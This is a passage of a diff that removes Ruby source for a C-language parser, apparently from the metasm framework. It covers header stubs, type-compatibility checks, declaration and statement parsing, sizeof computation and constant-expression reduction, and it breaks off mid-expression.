-#undef NULL -#if !defined (_STDDEF_H) -#define _STDDEF_H -#define __PTRDIFF_TYPE__ long int -typedef __PTRDIFF_TYPE__ ptrdiff_t; -#define __SIZE_TYPE__ long unsigned int -typedef __SIZE_TYPE__ size_t; -#define __WINT_TYPE__ unsigned int -typedef __WINT_TYPE__ wint_t; -#define __WCHAR_TYPE__ int -typedef __WCHAR_TYPE__ wchar_t; -#define NULL 0 -#define offsetof(TYPE, MEMBER) __builtin_offsetof (TYPE, MEMBER) -#endif -EOH - # TODO va_args - @lexer.hooked_include['stdarg.h'] = <<EOH -// TODO -typedef void* __gnuc_va_list; -/* -typedef void* va_list; -#define va_start(v, l) -#define va_end(v) -#define va_arg(v, l) -#define va_copy(d, s) -*/ -EOH - @lexer.hooked_include['limits.h'] = <<EOH -#define CHAR_BIT 8 -#define SCHAR_MIN (-128) -#define SCHAR_MAX 127 -#define UCHAR_MAX 255 -#ifdef __CHAR_UNSIGNED__ -# define CHAR_MIN 0 -# define CHAR_MAX UCHAR_MAX -#else -# define CHAR_MIN SCHAR_MIN -# define CHAR_MAX SCHAR_MAX -#endif -#define UINT_MAX #{(1 << (8*@typesize[:int]))-1}U -#define INT_MAX (UINT_MAX >> 1) -#define INT_MIN (-INT_MAX - 1) -#define ULONG_MAX #{(1 << (8*@typesize[:long]))-1}UL -#define LONG_MAX (ULONG_MAX >> 1L) -#define LONG_MIN (-LONG_MAX - 1L) -EOH - end - - # C sanity checks - def sanity_checks - return if not $VERBOSE - # TODO - end - - # checks that the types are compatible (variable predeclaration, function argument..) - # strict = false for func call/assignment (eg char compatible with int -- but int is incompatible with char) - # output warnings only - def check_compatible_type(tok, oldtype, newtype, strict = false, checked = []) - return if not $VERBOSE - oldtype = oldtype.untypedef - newtype = newtype.untypedef - oldtype = BaseType.new(:int) if oldtype.kind_of? Enum - newtype = BaseType.new(:int) if newtype.kind_of? Enum - - puts tok.exception('type qualifier mismatch').message if oldtype.qualifier.to_a.uniq.length > newtype.qualifier.to_a.uniq.length - - # avoid infinite recursion - return if checked.include? oldtype - checked = checked + [oldtype] - - begin - case newtype - when Function - raise tok, 'type error' if not oldtype.kind_of? Function - check_compatible_type tok, oldtype.type, newtype.type, strict, checked - if oldtype.args and newtype.args - if oldtype.args.length != newtype.args.length or - oldtype.varargs != newtype.varargs - raise tok, 'type error' - end - oldtype.args.zip(newtype.args) { |oa, na| - # begin ; rescue ParseError: raise $!.message + "in parameter #{oa.name}" end - check_compatible_type tok, oa.type, na.type, strict, checked - } - end - when Pointer - if oldtype.kind_of? BaseType and oldtype.integral? - puts tok.exception('making pointer from integer without a cast').message - return - end - raise tok, 'type error' if not oldtype.kind_of? Pointer - hasvoid = true if (t = newtype.type.untypedef).kind_of? BaseType and t.name == :void - hasvoid = true if (t = oldtype.type.untypedef).kind_of? BaseType and t.name == :void # struct foo *f = NULL; - if strict and not hasvoid - check_compatible_type tok, oldtype.type, newtype.type, strict, checked - end - when Union - raise tok, 'type error' if not oldtype.class == newtype.class - if oldtype.members and newtype.members - if oldtype.members.length != newtype.members.length - raise tok, 'bad member count' - end - oldtype.members.zip(newtype.members) { |om, nm| - # raise tok if om.name and nm.name and om.name != nm.name # don't care - check_compatible_type tok, om.type, nm.type, strict, checked - } - end - when BaseType - raise tok, 'type error' if not oldtype.kind_of? BaseType - if strict - if oldtype.name != newtype.name or - oldtype.specifier != newtype.specifier - raise tok, 'type error' - end - else - raise tok, 'type error' if @typesize[newtype.name] == 0 and @typesize[oldtype.name] > 0 - puts tok.exception('type size mismatch, may lose bits').message if @typesize[oldtype.name] > @typesize[newtype.name] - puts tok.exception('sign mismatch').message if oldtype.specifier != newtype.specifier and @typesize[newtype.name] == @typesize[oldtype.name] - end - end - rescue ParseError - raise $! if checked.length != 1 # bubble up - oname = (oldtype.to_s rescue oldtype.class.name) - nname = (newtype.to_s rescue newtype.class.name) - puts $!.message + " incompatible type #{oname} to #{nname}" - end - end - - # allows 'raise self' - def exception(msg='EOF unexpected') - @lexer.exception msg - end - - # reads a token, convert 'L"foo"' to a :quoted - def readtok_longstr - if t = @lexer.readtok and t.type == :string and t.raw == 'L' and - nt = @lexer.readtok and nt.type == :quoted and nt.raw[0] == ?" - nt.raw[0, 0] = 'L' - nt - elsif t and t.type == :punct and t.raw == '/' and - # nt has not been read - nt = @lexer.readtok and nt.type == :punct and nt.raw == '/' - # windows.h has a #define some_type_name /##/, and VS interprets this as a comment.. - puts @lexer.exception('#defined //').message if $VERBOSE - t = @lexer.readtok while t and t.type != :eol - t - else - @lexer.unreadtok nt - t - end - end - private :readtok_longstr - - # reads a token from self.lexer - # concatenates strings, merges spaces/eol to ' ', handles wchar strings, allows $@_ in :string - def readtok - if not t = @unreadtoks.pop - return if not t = readtok_longstr - case t.type - when :space, :eol - # merge consecutive :space/:eol - t = t.dup - t.type = :space - t.raw = ' ' - nil while nt = @lexer.readtok and (nt.type == :eol or nt.type == :space) - @lexer.unreadtok nt - - when :quoted - # merge consecutive :quoted - t = t.dup - while nt = readtok_longstr - case nt.type - when :quoted - if t.raw[0] == ?" and nt.raw[0, 2] == 'L"' - # ensure wide prefix is set - t.raw[0, 0] = 'L' - end - t.raw << ' ' << nt.raw - t.value << nt.value - when :space, :eol - else break - end - end - @lexer.unreadtok nt - else - if (t.type == :punct and (t.raw == '_' or t.raw == '@' or t.raw == '$')) or t.type == :string - t = t.dup - t.type = :string - nt = nil - t.raw << nt.raw while nt = @lexer.readtok and ((nt.type == :punct and (nt.raw == '_' or nt.raw == '@' or nt.raw == '$')) or nt.type == :string) - @lexer.unreadtok nt - end - end - end - t - end - - def eos? - @unreadtoks.empty? and @lexer.eos? - end - - def unreadtok(tok) - @unreadtoks << tok if tok - end - - # returns the next non-space/non-eol token - def skipspaces - nil while t = readtok and t.type == :space - t - end - - # checks that we are at the end of a statement, ie an ';' character (consumed), or a '}' (not consumed) - # otherwise, raise either the given token or self. - def checkstatementend(tok=nil) - raise tok || self, '";" expected' if not tok = skipspaces or tok.type != :punct or (tok.raw != ';' and tok.raw != '}') - unreadtok tok if tok.raw == '}' - end - - # returns the size of a type in bytes - def sizeof(var, type=nil) - var, type = nil, var if var.kind_of? Type and not type - type ||= var.type - # XXX double-check class apparition order ('when' checks inheritance) - case type - when Array - case type.length - when nil - if var.kind_of? CExpression and not var.lexpr and not var.op and var.rexpr.kind_of? Variable - var = var.rexpr - end - raise self, 'unknown array size' if not var.kind_of? Variable or not var.initializer - init = var.initializer - init = init.rexpr if init.kind_of? C::CExpression and not init.op and init.rexpr.kind_of? ::String - case init - when ::String; sizeof(nil, type.type) * (init.length + 1) - when ::Array - v = init.compact.first - v ? (sizeof(nil, type.type) * init.length) : 0 - else sizeof(init) - end - when ::Integer; type.length * sizeof(type.type) - when CExpression - len = type.length.reduce(self) - raise self, 'unknown array size' if not len.kind_of? ::Integer - len * sizeof(type) - else raise self, 'unknown array size' - end - when Pointer - if var.kind_of? CExpression and not var.op and var.rexpr.kind_of? ::String - # sizeof("lolz") => 5 - sizeof(nil, type.type) * (var.rexpr.length + 1) - else - @typesize[:ptr] - end - when Function - # raise - 1 # gcc - when BaseType - @typesize[type.name] - when Enum - @typesize[:int] - when Struct - raise self, "unknown structure size #{type.name}" if not type.members - al = type.align(self) - al = 1 if (var.kind_of?(Attributes) and var.has_attribute('sizeof_packed')) or type.has_attribute('sizeof_packed') - lm = type.members.last - lm ? (type.offsetof(self, lm) + sizeof(lm) + al - 1) / al * al : 0 - when Union - raise self, "unknown structure size #{type.name}" if not type.members - type.members.map { |m| sizeof(m) }.max || 0 - when TypeDef - sizeof(var, type.type) - end - end - - # parses variable/function definition/declaration/initialization - # populates scope.symbols and scope.struct - # raises on redefinitions - # returns false if no definition found - def parse_definition(scope) - return false if not basetype = Variable.parse_type(self, scope, true) - - # check struct predeclaration - tok = skipspaces - if tok and tok.type == :punct and tok.raw == ';' and basetype.type and - (basetype.type.kind_of? Union or basetype.type.kind_of? Enum) - return true - else unreadtok tok - end - - nofunc = false - loop do - var = basetype.dup - var.parse_declarator(self, scope) - - raise var.backtrace if not var.name # barrel roll - - if prev = scope.symbol[var.name] - if prev.kind_of? TypeDef and var.storage == :typedef - check_compatible_type(var.backtrace, prev.type, var.type, true) - # windows.h redefines many typedefs with the same definition - puts "redefining typedef #{var.name}" if $VERBOSE - var = prev - elsif not prev.kind_of?(Variable) or - prev.initializer or - (prev.storage != :extern and prev.storage != var.storage) or - (scope != @toplevel and prev.storage != :static) - if prev.kind_of? ::Integer # enum value - prev = (scope.struct.values.grep(Enum) + scope.anonymous_enums.to_a).find { |e| e.members.index(prev) } - end - raise var.backtrace, "redefinition, previous is #{prev.backtrace.exception(nil).message rescue :unknown}" - else - check_compatible_type var.backtrace, prev.type, var.type, true - (var.attributes ||= []).concat prev.attributes if prev.attributes - end - elsif var.storage == :typedef - attrs = var.attributes - var = TypeDef.new var.name, var.type, var.backtrace - var.attributes = attrs if attrs - end - scope.statements << Declaration.new(var) unless var.kind_of? TypeDef - - raise tok || self, 'punctuation expected' if not tok = skipspaces or (tok.type != :punct and not %w[asm __asm __asm__].include? tok.raw) - - case tok.raw - when '{' - # function body - raise tok if nofunc or not var.kind_of? Variable or not var.type.kind_of? Function - scope.symbol[var.name] = var - body = var.initializer = Block.new(scope) - var.type.args ||= [] - var.type.args.each { |v| - # put func parameters in func body scope - # arg redefinition is checked in parse_declarator - if not v.name - puts "unnamed argument in definition of #{var.name}" if $DEBUG - next # should raise to be compliant - end - body.symbol[v.name] = v # XXX will need special check in stack allocator - } - - loop do - raise tok || self, var.backtrace.exception('"}" expected for end of function') if not tok = skipspaces - break if tok.type == :punct and tok.raw == '}' - unreadtok tok - if not parse_definition(body) - body.statements << parse_statement(body, [var.type.type]) - end - end - if $VERBOSE and not body.statements.last.kind_of? Return and not body.statements.last.kind_of? Asm - puts tok.exception('missing function return value').message if not var.type.type.untypedef.kind_of? BaseType or var.type.type.untypedef.name != :void - end - break - when 'asm', '__asm', '__asm__' - # GCC function redirection - # void foo(void) __asm__("bar"); => when code uses 'foo', silently redirect to 'bar' instead - raise tok if nofunc or not var.kind_of? Variable or not var.type.kind_of? Function - # most of the time, 'bar' is not defined anywhere, so we support it only - # to allow parsing of headers using it, hoping noone will actually use them - unused = Asm.parse(self, scope) - puts "unsupported gcc-style __asm__ function redirect #{var.name.inspect} => #{unused.body.inspect}" if $VERBOSE - break - when '=' - # variable initialization - raise tok, '"{" or ";" expected' if var.type.kind_of? Function - raise tok, 'cannot initialize extern variable' if var.storage == :extern - scope.symbol[var.name] = var # allow initializer to reference var, eg 'void *ptr = &ptr;' - var.initializer = var.type.parse_initializer(self, scope) - if var.initializer.kind_of?(CExpression) and (scope == @toplevel or var.storage == :static) - raise tok, "initializer for static #{var.name} is not constant" if not var.initializer.constant? - end - reference_value = lambda { |e, v| - found = false - case e - when Variable; found = true if e == v - when CExpression; e.walk { |ee| found ||= reference_value[ee, v] } if e.op != :& or e.lexpr - end - found - } - raise tok, "initializer for #{var.name} is not constant (selfreference)" if reference_value[var.initializer, var] - raise tok || self, '"," or ";" expected' if not tok = skipspaces or tok.type != :punct - else - scope.symbol[var.name] = var - end - - case tok.raw - when ','; nofunc = true - when ';'; break - when '}'; unreadtok(tok); break - else raise tok, '";" or "," expected' - end - end - true - end - - # parses toplevel statements, return nil if none found - # toplevel statements are ';' and 'asm <..>' - def parse_toplevel_statement(scope) - if tok = skipspaces and tok.type == :punct and tok.raw == ';' - true - elsif tok and tok.type == :punct and tok.raw == '{' - raise tok || self, '"}" expected' if not tok = skipspaces or tok.type != :punct or tok.raw != '}' - true - elsif tok and tok.type == :string and %w[asm __asm __asm__].include? tok.raw - scope.statements << Asm.parse(self, scope) - true - end - end - - # returns a statement or raise - def parse_statement(scope, nest) - raise self, 'statement expected' if not tok = skipspaces - - if tok.type == :punct and tok.raw == '{' - body = Block.new scope - loop do - raise tok || self, '"}" expected' if not tok = skipspaces - break if tok.type == :punct and tok.raw == '}' - unreadtok tok - if not parse_definition(body) - body.statements << parse_statement(body, nest) - end - end - return body - elsif tok.type == :punct and tok.raw == ';' - return Block.new(scope) - elsif tok.type != :string - unreadtok tok - raise tok, 'expr expected' if not expr = CExpression.parse(self, scope) - checkstatementend(tok) - - if $VERBOSE and not nest.include?(:expression) and (expr.op or not expr.type.untypedef.kind_of? BaseType or expr.type.untypedef.name != :void) and CExpression.constant?(expr) - puts tok.exception("statement with no effect : #{expr}").message - end - return expr - end - - case tok.raw - when 'if' - If.parse self, scope, nest - when 'while' - While.parse self, scope, nest - when 'do' - DoWhile.parse self, scope, nest - when 'for' - For.parse self, scope, nest - when 'switch' - Switch.parse self, scope, nest - when 'goto' - raise tok || self, 'label expected' if not tok = skipspaces or tok.type != :string - name = tok.raw - checkstatementend(tok) - Goto.new name - when 'return' - expr = CExpression.parse(self, scope) # nil allowed - raise tok || self, "cannot return #{expr} in function returning void" if expr and nest[0].kind_of?(Type) and nest[0].void? - p, i = nest[0].pointer?, nest[0].integral? if expr - r = expr.reduce(self) if p or i - if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) - check_compatible_type(tok, (expr ? expr.type : BaseType.new(:void)), nest[0]) - end - checkstatementend(tok) - Return.new expr - when 'case' - raise tok, 'case out of switch' if not nest.include? :switch - Case.parse self, scope, nest - when 'default' - raise tok || self, '":" expected' if not tok = skipspaces or tok.type != :punct or tok.raw != ':' - raise tok, 'case out of switch' if not nest.include? :switch - Case.new 'default', nil, parse_statement(scope, nest) - when 'continue' - checkstatementend(tok) - raise tok, 'continue out of loop' if not nest.include? :loop - Continue.new - when 'break' - checkstatementend(tok) - raise tok, 'break out of loop' if not nest.include? :loop and not nest.include? :switch - Break.new - when 'asm', '__asm', '__asm__' - Asm.parse self, scope - else - if ntok = skipspaces and ntok.type == :punct and ntok.raw == ':' - begin - st = parse_statement(scope, nest) - rescue ParseError - puts "label without statement, #{$!.message}" if $VERBOSE - end - Label.new tok.raw, st - else - unreadtok ntok - unreadtok tok - raise tok, 'expr expected' if not expr = CExpression.parse(self, scope) - checkstatementend(tok) - - if $VERBOSE and not nest.include?(:expression) and (expr.op or not expr.type.untypedef.kind_of? BaseType or expr.type.untypedef.name != :void) and CExpression.constant?(expr) - puts tok.exception("statement with no effect : #{expr}").message - end - expr - end - end - end - - # check if a macro definition has a numeric value - # returns this value or nil - def macro_numeric(m) - d = @lexer.definition[m] - return if not d.kind_of? Preprocessor::Macro or d.args or d.varargs - # filter metasm-defined vars (eg __PE__ / _M_IX86) - return if not d.name or not bt = d.name.backtrace or (bt[0][0] != ?" and bt[0][0] != ?<) - raise 'cannot macro_numeric with unparsed data' if not eos? - @lexer.feed m - if e = CExpression.parse(self, Block.new(@toplevel)) and eos? - v = e.reduce(self) - return v if v.kind_of? ::Numeric - end - readtok until eos? - nil - rescue ParseError - readtok until eos? - nil - end - - # returns all numeric constants defined with their value, either macros or enums - # for enums, also return the enum name - def numeric_constants - ret = [] - # macros - @lexer.definition.each_key { |k| - if v = macro_numeric(k) - ret << [k, v] - end - } - # enums - seen_enum = {} - @toplevel.struct.each { |k, v| - if v.kind_of?(Enum) - v.members.each { |kk, vv| - ret << [kk, vv, k] - seen_enum[kk] = true - } - end - } - @toplevel.symbol.each { |k, v| - ret << [k, v] if v.kind_of?(::Numeric) and not seen_enum[k] - } - ret - end - end - - class Variable - # parses a variable basetype/qualifier/(storage if allow_value), returns a new variable of this type - # populates scope.struct - def self.parse_type(parser, scope, allow_value = false) - var = new - qualifier = [] - tok = nil - loop do - var.parse_attributes(parser, true) - break if not tok = parser.skipspaces - if tok.type != :string - parser.unreadtok tok - break - end - - case tok.raw - when 'const', 'volatile' - qualifier << tok.raw.to_sym - next - when 'register', 'auto', 'static', 'typedef', 'extern' - raise tok, 'storage specifier not allowed here' if not allow_value - raise tok, 'multiple storage class' if var.storage - var.storage = tok.raw.to_sym - next - when 'struct' - var.type = Struct.new - var.type.pack = parser.pragma_pack if parser.pragma_pack - var.parse_type_struct(parser, scope) - when 'union' - var.type = Union.new - var.parse_type_struct(parser, scope) - when 'enum' - var.type = Enum.new - var.parse_type_struct(parser, scope) - when 'typeof' - if ntok = parser.skipspaces and ntok.type == :punct and ntok.raw == '(' - # check type - if v = parse_type(parser, scope) - v.parse_declarator(parser, scope) - raise tok if v.name != false - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - else - raise tok, 'expr expected' if not v = CExpression.parse(parser, scope) - raise tok if not ntok = parser.skipspaces or ntok.type != :punct or ntok.raw != ')' - end - else - parser.unreadtok ntok - raise tok, 'expr expected' if not v = CExpression.parse_value(parser, scope) - end - var.type = v.type # TypeDef.new('typeof', v.type, tok) - when 'long', 'short', 'signed', 'unsigned', 'int', 'char', 'float', 'double', - 'void', '__int8', '__int16', '__int32', '__int64', - 'intptr_t', 'uintptr_t' - parser.unreadtok tok - var.parse_type_base(parser, scope) - else - if type = scope.symbol_ancestors[tok.raw] and type.kind_of? TypeDef - var.type = type.dup - else - parser.unreadtok tok - end - end - - break - end - - if not var.type - raise tok || parser, 'bad type name' if not qualifier.empty? or var.storage - nil - else - var.type.qualifier = var.type.qualifier.to_a | qualifier if not qualifier.empty? - var.type.parse_attributes(parser, true) - var - end - end - - # parses a structure/union/enum declaration - def parse_type_struct(parser, scope) - @type.parse_attributes(parser) - if tok = parser.skipspaces and tok.type == :punct and tok.raw == '{' - # anonymous struct, ok - @type.backtrace = tok - if @type.kind_of? Enum - (scope.anonymous_enums ||= []) << @type - end - elsif tok and tok.type == :string - name = tok.raw - raise tok, 'bad struct name' if Keyword[name] or (?0..?9).include?(name[0]) - @type.backtrace = tok - @type.name = name - @type.parse_attributes(parser) - raise parser if not ntok = parser.skipspaces - if ntok.type != :punct or ntok.raw != '{' - raise tok, "struct/union confusion" if scope.struct[name] and scope.struct[name].class != @type.class - # variable declaration - parser.unreadtok ntok - if ntok.type == :punct and ntok.raw == ';' - # struct predeclaration - # allow redefinition - @type = scope.struct[name] ||= @type - else - # check that the structure exists - struct = scope.struct_ancestors[name] - # allow incomplete types, usage as var type will raise later - struct = scope.struct[name] = @type if not struct - raise tok, 'unknown struct' if struct.class != @type.class - (struct.attributes ||= []).concat @type.attributes if @type.attributes - (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier # XXX const struct foo bar => bar is const, not foo... - @type = struct - end - return - end - if scope.struct[name] and scope.struct[name].members - # redefinition of an existing struct, save for later comparison - oldstruct = scope.struct[name] - raise tok, "struct/union confusion" if oldstruct.class != @type.class - elsif struct = scope.struct[name] - raise tok, "struct/union confusion" if struct.class != @type.class - (struct.attributes ||= []).concat @type.attributes if @type.attributes - (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier - struct.backtrace = @type.backtrace - struct.name = @type.name - @type = struct - else - scope.struct[name] = @type - end - else - raise tok || parser, 'struct name or "{" expected' - end - - @type.parse_members(parser, scope) - - if oldstruct - if not @type.compare_deep(oldstruct) - raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" - end - @type = oldstruct - end - end - - # parses int/long int/long long/double etc - def parse_type_base(parser, scope) - specifier = [] - qualifier = [] - name = :int - tok = nil - loop do - if not tok = parser.skipspaces - raise parser if specifier.empty? - break - end - if tok.type != :string - parser.unreadtok tok - break - end - case tok.raw - when 'const', 'volatile' - qualifier << tok.raw.to_sym - when 'long', 'short', 'signed', 'unsigned' - specifier << tok.raw.to_sym - when 'int', 'char', 'void', 'float', 'double', '__int8', '__int16', '__int32', '__int64' - name = tok.raw.to_sym - break - when 'intptr_t', 'uintptr_t' - name = :ptr - specifier << :unsigned if tok.raw == 'uintptr_t' - break - else - parser.unreadtok tok - break - end - end - - case name - when :double # long double - if specifier == [:long] - name = :longdouble - specifier.clear - elsif not specifier.empty? - raise tok || parser, 'invalid specifier list' - end - when :int # short, long, long long X signed, unsigned - # Array#count not available on old ruby (eg 1.8.4), so use ary.len - (ary-stuff).len - specifier = specifier - [:long] + [:longlong] if specifier.length - (specifier-[:long]).length == 2 - if specifier.length - (specifier-[:signed, :unsigned]).length > 1 or specifier.length - (specifier-[:short, :long, :longlong]).length > 1 - raise tok || parser, 'invalid specifier list' - else - name = (specifier & [:longlong, :long, :short])[0] || :int - specifier -= [:longlong, :long, :short] - end - specifier.delete :signed # default - when :char # signed, unsigned - # signed char != char and unsigned char != char - if (specifier & [:signed, :unsigned]).length > 1 or (specifier & [:short, :long]).length > 0 - raise tok || parser, 'invalid specifier list' - end - when :__int8, :__int16, :__int32, :__int64, :ptr - if (specifier & [:signed, :unsigned]).length > 1 or (specifier & [:short, :long]).length > 0 - raise tok || parser, 'invalid specifier list' - end - specifier.delete :signed # default - else # none - raise tok || parser, 'invalid type' if not specifier.empty? - end - - @type = BaseType.new(name, *specifier) - @type.qualifier = qualifier if not qualifier.empty? - end - - # updates @type and @name, parses pointer/arrays/function declarations - # parses anonymous declarators (@name will be false) - # the caller is responsible for detecting redefinitions - # scope used only in CExpression.parse for array sizes and function prototype argument types - # rec for internal use only - def parse_declarator(parser, scope, rec = false) - parse_attributes(parser, true) - tok = parser.skipspaces - # read upto name - if tok and tok.type == :punct and tok.raw == '*' - ptr = Pointer.new - ptr.parse_attributes(parser) - while ntok = parser.skipspaces and ntok.type == :string - case ntok.raw - when 'const', 'volatile' - (ptr.qualifier ||= []) << ntok.raw.to_sym - ptr.parse_attributes(parser) - else break - end - end - parser.unreadtok ntok - parse_declarator(parser, scope, true) - t = self - t = t.type while t.type and (t.type.kind_of?(Pointer) or t.type.kind_of?(Function)) - ptr.type = t.type - t.type = ptr - if t.kind_of? Function and ptr.attributes - @attributes ||= [] - @attributes |= ptr.attributes - ptr.attributes = nil - end - return - elsif tok and tok.type == :punct and tok.raw == '(' - parse_declarator(parser, scope, true) - raise tok || parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - elsif tok and tok.type == :string - case tok.raw - when 'const', 'volatile' - (@type.qualifier ||= []) << tok.raw.to_sym - return parse_declarator(parser, scope, rec) - when 'register', 'auto', 'static', 'typedef', 'extern' - raise tok, 'multiple storage class' if storage - @storage = tok.raw.to_sym - puts tok.exception('misplaced storage specifier').message if $VERBOSE - return parse_declarator(parser, scope, rec) - end - raise tok if name or name == false - raise tok, 'bad var name' if Keyword[tok.raw] or (?0..?9).include?(tok.raw[0]) - @name = tok.raw - @backtrace = tok - parse_attributes(parser, true) - else - # unnamed - raise tok || parser if name or name == false - @name = false - @backtrace = tok - parser.unreadtok tok - parse_attributes(parser, true) - end - parse_declarator_postfix(parser, scope) - if not rec - raise @backtrace, 'void type is invalid' if name and (t = @type.untypedef).kind_of? BaseType and - t.name == :void and storage != :typedef - raise @backtrace, "incomplete type #{@type.name}" if (@type.kind_of? Union or @type.kind_of? Enum) and - not @type.members and storage != :typedef and storage != :extern # gcc uses an undefined extern struct just to cast it later (_IO_FILE_plus) - end - end - - # parses array/function type - def parse_declarator_postfix(parser, scope) - if tok = parser.skipspaces and tok.type == :punct and tok.raw == '[' - # array indexing - idx = CExpression.parse(parser, scope) # may be nil - if idx and (scope == parser.toplevel or storage == :static) - raise tok, 'array size is not constant' if not idx.constant? - idx = idx.reduce(parser) - elsif idx and nidx = idx.reduce(parser) and nidx.kind_of? ::Integer - idx = nidx - end - t = self - t = t.type while t.type and (t.type.kind_of?(Pointer) or t.type.kind_of?(Function)) - t.type = Array.new t.type - t.type.length = idx - raise tok || parser, '"]" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ']' - parse_attributes(parser) # should be type.attrs, but this is should be more compiler-compatible - elsif tok and tok.type == :punct and tok.raw == '(' - # function prototype - # void __attribute__((noreturn)) func() => attribute belongs to func - if @type and @type.attributes - @attributes ||= [] - @attributes |= @type.attributes - @type.attributes = nil - end - t = self - t = t.type while t.type and (t.type.kind_of?(Pointer) or t.type.kind_of?(Function)) - t.type = Function.new t.type - if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - parser.unreadtok tok - t.type.args = [] - oldstyle = false # int func(a, b) int a; double b; { stuff; } - loop do - raise parser if not tok = parser.skipspaces - if tok.type == :punct and tok.raw == '.' # variadic function - raise parser, '".." expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '.' - raise parser, '"." expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '.' - raise parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - t.type.varargs = true - break - elsif tok.type == :string and tok.raw == 'register' - storage = :register - else - parser.unreadtok tok - end - - if oldstyle or not v = Variable.parse_type(parser, scope) - raise tok if not @name # no oldstyle in casts - tok = parser.skipspaces - oldstyle ||= [tok] # arg to raise() later - oldstyle << tok.raw - else - v.storage = storage if storage - v.parse_declarator(parser, scope) - v.type = Pointer.new(v.type.type) if v.type.kind_of? Array - v.type = Pointer.new(v.type) if v.type.kind_of? Function - - t.type.args << v if not v.type.untypedef.kind_of? BaseType or v.type.untypedef.name != :void - end - - if tok = parser.skipspaces and tok.type == :punct and tok.raw == ',' - raise tok, '")" expected' if v and t.type.args.last != v # last arg of type :void - elsif tok and tok.type == :punct and tok.raw == ')' - break - else raise tok || parser, '"," or ")" expected' - end - end - if oldstyle - parse_attributes(parser, true) - ra = oldstyle.shift - while t.type.args.compact.length != oldstyle.length - raise ra, "invalid prototype" if not vb = Variable.parse_type(parser, scope) - loop do - v = vb.dup - v.parse_declarator(parser, scope) - v.type = Pointer.new(v.type.type) if v.type.kind_of? Array - v.type = Pointer.new(v.type) if v.type.kind_of? Function - raise parser, "unknown arg #{v.name.inspect}" if not i = oldstyle.index(v.name) - t.type.args[i] = v - raise parser, '"," or ";" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != ';' and tok.raw != ',') - break if tok.raw == ';' - end - end - parse_attributes(parser, true) - raise parser, '"{" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '{' - parser.unreadtok tok - end - namedargs = t.type.args.map { |a| a.name }.compact - [false] - raise tok, "duplicate argument name #{namedargs.find { |a| namedargs.index(a) != namedargs.rindex(a) }.inspect}" if namedargs.length != namedargs.uniq.length - end - parse_attributes(parser, true) # should be type.attrs, but this should be more existing-compiler-compatible - else - parser.unreadtok tok - return - end - parse_declarator_postfix(parser, scope) - end - end - - class Variable - def ===(o) - self == o or (o.class == CExpression and not o.op and o.rexpr == self) - end - end - - class CExpression - def self.lvalue?(e) - e.kind_of?(self) ? e.lvalue? : (e.kind_of? Variable and e.name) - end - def lvalue? - case @op - when :*; true if not @lexpr - when :'[]', :'.', :'->'; true - when nil # cast - CExpression.lvalue?(@rexpr) - else false - end - end - - def self.constant?(e) - e.kind_of?(self) ? e.constant? : true - end - def constant? - # gcc considers '1, 2' not constant - if [:',', :funcall, :'=', :'--', :'++', :'+=', :'-=', :'*=', :'/=', :'>>=', :'<<=', :'&=', :'|=', :'^=', :'%=', :'->', :'[]'].include?(@op) - false - elsif @op == :'*' and not @lexpr; false - elsif not @lexpr and not @op and @rexpr.kind_of? Block; false - else - out = true - walk { |e| break out = false if not CExpression.constant?(e) } - out - end - end - - def self.reduce(parser, e) - e.kind_of?(self) ? e.reduce(parser) : e - end - def reduce(parser) - # parser used for arithmetic overflows (need basic type sizes) - case @op - when :'&&' - case l = CExpression.reduce(parser, @lexpr) - when 0; 0 - when ::Integer - case r = CExpression.reduce(parser, @rexpr) - when 0; 0 - when ::Integer; 1 - else CExpression.new(l, @op, r, @type) - end - else CExpression.new(l, @op, @rexpr, @type) - end - when :'||' - case l = CExpression.reduce(parser, @lexpr) - when 0 - case r = CExpression.reduce(parser, @rexpr) - when 0; 0 - when ::Integer; 1 - else CExpression.new(l, @op, r, @type) - end - when ::Integer; 1 - else CExpression.new(l, @op, @rexpr, @type) - end - when :'!' - case r = CExpression.reduce(parser, @rexpr) - when 0; 1 - when ::Integer; 0 - else CExpression.new(nil, @op, r, @type) - end - when :'!=', :'==', :'<', :'>', :'>=', :'<=' - l = CExpression.reduce(parser, @lexpr) - r = CExpression.reduce(parser, @rexpr) - if l.kind_of?(::Integer) and r.kind_of?(::Integer) - if @op == :'!='; l != r ? 1 : 0 - else l.send(@op, r) ? 1 : 0 - end - else - l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer - r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - CExpression.new(l, @op, r, @type) - end - when :'.' - le = CExpression.reduce(parser, @lexpr) - if le.kind_of? Variable and le.initializer.kind_of? ::Array - t = le.type.untypedef - midx = t.members.index(t.findmember(@rexpr)) - CExpression.reduce(parser, le.initializer[midx] || 0) - else - CExpression.new(le, @op, @rexpr, @type) - end - when :'?:' - case c = CExpression.reduce(parser, @lexpr) - when 0; CExpression.reduce(parser, @rexpr[0]) - when ::Integer; CExpression.reduce(parser, @rexpr[1]) - else CExpression.new(c, @op, @rexpr, @type) - end - when :'+', :'-', :'*', :'/', :'^', :'%', :'&', :'|', :'>>', :'<<', :'~', nil - t = @type.untypedef - case t - when BaseType - when Pointer; return self if @op - else - return @rexpr if not @op and not @lexpr and @rexpr.kind_of? Variable and @rexpr.type == @type - return self # raise parser, 'not arithmetic type' - end - - # compute value - r = CExpression.reduce(parser, @rexpr) - ret = \ - if not @lexpr - # unary - case @op - when :'+', nil, :'-', :'~' - return CExpression.new(nil, @op, r, @type) if not r.kind_of? ::Numeric - case @op - when :'-'; -r - when :'~'; ~r - else r - end - else return CExpression.new(nil, @op, r, @type) - end - else - l = CExpression.reduce(parser, @lexpr) - if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) - l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? 